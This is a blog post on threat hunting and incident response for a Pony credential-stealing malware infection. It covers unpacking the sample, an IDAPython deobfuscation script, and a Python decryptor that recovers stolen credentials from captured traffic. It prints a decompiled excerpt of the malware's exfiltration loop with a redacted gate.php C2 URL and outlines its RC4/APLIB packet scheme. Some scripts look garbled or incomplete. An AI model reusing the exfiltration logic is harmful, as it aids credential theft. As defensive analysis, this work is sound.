Practical Threat Hunting and Incidence Response : A Case of A Pony Malware Infection

int0xcc.svbtle.com/practical-threat-hunting-and-incidence-response-a-case-of-a-pony-malware-infection

July 30, 2019

Most organizations opt for an incidence response, after a catastrophic cyber security event has taken place. Incidence response and threat hunting focus on events that happen after an endpoint is hit by a cyber attacks, for example a malware infection. One of the main goals of a holistic approach for threat hunting and incidence response is to determine the extent of damages done by the attack and recover as much possible from it.

In this blog post, I will present a scenario of threat hunting and Incidence response out of a malware infection on an endpoint.

First step in threat hunting is to look for infection markers, and a basic way to figure out a malware infection is to look for any suspicious running processes

✓ → SearchIndexer.exe	4	26	Microsoft Win
SearchProtocolHost.exe	1	2.2	Microsoft Win
learchFilterHost.exe	1	1.3	Microsoft Win
svchost.exe	5	1.9	Host Process f
ManagementAgentHost.exe	5 0 1.2	. 3.5	
svchost.exe	4 0	3.1	Host Process f
sqlwriter.exe	1	1.5	SQL Server VS
svchost.exe	2	1.9	Host Process f
Isass.exe	8	5.0	Local Security
fontdrvhost.exe	9	1.4	Usermode Fo
✓ ■ winlogon.exe	7	2.7	Windows Log
fontdrvhost.exe	9	3.0	Usermode Fo
💽 dwm.exe	6 0	219	Desktop Wind
✓ n explorer.exe	3 0	47 DES\home	Windows Expl
ISASCuiL.exe	5	2.3 DES\home	Windows Def
OneDrive.exe	4	6.7 DES\home	Microsoft One
🐙 ProcessHacker.exe	2 1	11 DES\home	Process Hacker
Interrupts	0	0	Interrupts and
😌 Pckntl.exe	5 0	1.1 DES\home	TASHNAGIST0
CPU Usage: 3.81% Physical Memory: 44.57% Process	es: 70		

Quickly we are able to locate a suspicious running process named as *Pckntl.exe*. This is what most people do next, upload the file to virus total, but often times it does no justice.

Ad-Aware	() Gen:Variant.Midie.64681	AhnLab-V3	() Win-Trojan/VBKrypt.RP09
ALYac	() Gen:Variant.Midie.64681	SecureAge APEX	① Malicious
Arcabit	Trojan.Midie.DFCA9	Avast	() Win32:CrypterX-gen [Trj]
AVG	Win32:CrypterX-gen [Trj]	BitDefender	() Gen:Variant.Midie.64681
ClamAV	() Win.Packed.Midie-7051806-0	CrowdStrike Falcon	() Win/malicious_confidence_100% (W)
Cybereason	① Malicious.5e3845	Cylance	① Unsafe
Cyren	W32/VBKrypt.SQ.genlEldorado	DrWeb	Trojan.PWS.Siggen2.21507
Emsisoft	() Gen:Variant.Midie.64681 (B)	Endgame	Malicious (high Confidence)
eScan	Gen:Variant.Midie.64681	ESET-NOD32	A Variant Of Win32/Injector.EGLN
F-Prot	W32/VBKrypt.SQ.genlEldorado	FireEye	() Generic.mg.659a28e34edbb77d
Fortinet	W32/Injector.EGKZItr	GData	() Gen:Variant.Midie.64681

By all means , this malware seems to be packed and obfuscated , perhaps why none of the anti virus/endpoint systems were able to detect this file with full confidence .

And , this is where we will have to get our hands dirty and do the nasty work . We have to do some manual work on this file . As soon as we dig bit deeper , we immediate figure out this is a VB 6 packed file . Decompiling the file revels lots of name mangling and obfuscation used.



Code behind the VB 6 packer is irrelevant to our analysis , unless you have got lot of free time in your hands . Instead of banging our heads around this useless code , we will let it run and break in between to get a look at the real hidden code behind this packer

After running it for a while , we attach debugger and the hidden code is finally revealed



There are lot of strings and functions calls in this code , which probably means that this is the final layer of unpacked malware and consequently we dump the code to file system

The obvious next task would be to correctly identify this malicious code . Earlier , we had no luck with VirusTotal , so this time instead of using virus total , we will use this amazing malware identification platform known as **Malpedia** created by Daniel Plohmann. This system is great for maching with Yara rules written by community , and it does have a plethora of Yara mules to match against .



And Wow!, Malpedia didn't disappoint us. Impressive system.

Immediately, this great system was able to figure out which malware this belongs to . Malpedia was able to identify this samples as Pony trojan.

Now what does this pony malware do?

A pony malware is a credential harvesting malware . we will have to resurrect the forensic investigator in all of us :P . As its happens to be a credential harvester and the endpoint was infected , most certainly so credentials were exfiltrated from network . This is where incidence response comes into play . We will investigate about the exfiltrated credentials and possibly recover them .

As we notice the captured PCAP file , it is quite obvious that the exfiltrated data is in someways encrypted



But before we start feeling lucky , we have got another hurdle in front of us . The malware has control flow obfuscation in its code . This makes analysis terribly difficult and defeats IDA's static analysis engine

```
.text:004105C3
.text:004105C3 sub_4105C3
                               proc near
                                                        ; CODE XREF: .text:loc_410646;p
.text:004105C3
                               push
                                        ebp
.text:004105C4
                               mov
                                        ebp, esp
.text:004105C6
                               pop
                                        ebp
                                        (offset loc_4105D0+1)
.text:004105C7
                               push
.text:004105CC
                               clc
.text:004105CD
                                       short loc 4105D0
                               jb
.text:004105CF
                               retn
.text:004105D0 ;
.text:004105D0
.text:004105D0 loc 4105D0:
                                                        ; CODE XREF: sub 4105C3+Atj
.text:004105D0
                                                        ; DATA XREF: sub_4105C3+4to
.text:004105D0
                               jmp
                                       fword ptr [eax-5Eh]
.text:004105D0
                                          analysis f
.text:004105D0
.text:004105D0 ;
.text:004105D3
                               db 5
.text:004105D4
                               dd 0A9E80041h, 0E8000001h, 0FFFFFF28h, 0FFF4ABE8h, 0F776E8FFh
                               dd 80E8FFFFh, 83FFFFF8h, 414D243Dh, 19740000h, 4B233D83h
.text:004105D4
.text:004105D4
                               dd 74000041h, 2315FF06h, 0C700414Bh, 41486905h, 100h, 0FC0DE880h
.text:004105D4
                               dd 12E8FFFFh, 0E8FFFFFDh, 0FFFFFA45h
.text:00410620 ;
.text:00410620
                               retn
.text:00410621 ; --
```

It uses stack to align control flow , with some instructions in-between which have no side effects on EIP. In order to recover from this mess and allow IDA to recognize subroutines with proper stack alignment , we will write an IDAPython script to deobfuscate this bad boy

```
AntiDisam = 0
Debug = 0
def WriteMem(addr, buff):
    global Debug
    if Debug:
        DbgWrite(addr, buff)
    else:
        for i in buff:
            PatchByte(addr, ord(i))
            addr = addr + 1
    return
while 1:
    blackList = [0x00410621,0x004105C3 ]
    AntiDisam = FindBinary(AntiDisam + 1, SEARCH_DOWN, "55 8B EC 5D 68 ?? ?? ?? ?? F8
72 01")
    print hex(AntiDisam)
    if AntiDisam == 0xffffffff:
        hreak
    if AntiDisam in blackList:
        WriteMem(AntiDisam + 3, "\x90" * 11)
        continue
    WriteMem(AntiDisam, "\x90" * 14)
```

	; Attributes: bp-based frame	
	sub 4105C3 proc near	
	push ebp	
	mov ebp, esp	
	pop ebp	
	push (offset loc_4105D0+1)	
	clc	
	jb short loc_4105D0	
II -4 [
	loc 4105D0:	
	jmp fword ptr	[eax-5Eh]
	sub 4105C3 endp ; :	sp-analysis failed
	-	
0.0000000000000000000000000000000000000		

** Before and after executing script **

We start analysing from the place it sends exfiltrated data to c2

```
if ( pstm && GeneratePacket(pstm, &Data) == 1 )
 {
   for ( i = "http://XXXX/gate.php"; *i && !v0; ++i )
   {
     v3 = 2;
     while (1)
     {
       v4 = 0;
       if ( SendPacket(i, pstm, (int)&v4) )
       {
         if ( v4 )
         {
           v0 = sub_40FB14(v4);
           if ( !v0 )
           {
             if ( sub_401BC0(v4) )
               v0 = sub_{40}FB14(v4);
           }
        }
       }
```

An abridged version of our analysis would be the following

- Data is recovered from saved password of many applications (FTP, EMail, Browser, bitcoin)
- Header and metadata information is appended to packet (PWD FILE 01 version and magic with length fields)
- This packet is compressed using APLIB
- Another packet header is appended with header CRYPTED0 magic , subsequently this packet is encrypted using RC4 with a hardcoded key
- Furthermore, this packet is again encrypted using RC4, but this time with a randomly generated key, appended to the packet at first 4 bytes

It would be relatively easy to convert this narrative into a python code and decrypt the exfiltrated data from PCAP file

```
import struct
import aplib
import sys
def main():
    ciphertext = open(sys.argv[1], "rb").read()
    key =ciphertext[0:4]
    ciphertext = ciphertext[4:].encode("hex")
    decrypted = decrypt(key, ciphertext)
    key = "K!K"
    ciphertext = decrypted[8:].encode("hex")
    decrypted = decrypt(key, ciphertext)
        decrypted = decrypt(key, ciphertext)
        open("FinalOutput", "wb").write(aplib.decompress(decrypted[0x0c + 4:]))
main()
```

Python Decrypt.py Ouput.bin



And finally we get to see the exfiltrated credentials in plain text . Attackers managed to steal some Email credentials and FTP logins

24

Kudos

24

Kudos